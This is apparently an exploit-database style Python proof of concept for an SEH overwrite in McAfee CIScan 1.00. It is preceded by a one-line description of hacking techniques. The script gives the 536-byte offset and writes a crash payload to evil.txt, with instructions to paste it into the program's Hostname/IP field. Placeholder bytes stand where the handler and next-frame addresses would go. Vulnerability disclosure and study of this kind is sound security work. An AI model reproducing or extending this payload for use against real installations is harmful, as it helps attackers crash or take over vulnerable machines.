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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

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#!/usr/bin/python
# Exploit Title     : CIScanv1.00 Hostname/IP Field SEH Overwrite POC
# Discovery by      : Nipun Jaswal
# Email             : mail@nipunjaswal.info
# Discovery Date    : 11/05/2016
# Software Link     : http://www.mcafee.com/us/downloads/free-tools/ciscan.aspx
# Tested Version    : 1.00
# Vulnerability Type: SEH Overwrite POC
# Tested on OS      : Windows 7 Home Basic
# Steps to Reproduce: Copy contents of evil.txt file and paste in the Hostname/IP Field. Press ->
##########################################################################################
#  -----------------------------------NOTES----------------------------------------------#
##########################################################################################

#SEH chain of main thread
#Address    SE handler
#0012FA98   43434343
#42424242   *** CORRUPT ENTRY ***

# Offset to the SEH Frame is 536
buffer = "A"*536
# Address of the Next SEH Frame
nseh = "B"*4
# Address to the Handler Code, Generally P/P/R Address
seh = "C" *4
f = open("evil.txt", "wb")
f.write(buffer+nseh+seh)
f.close()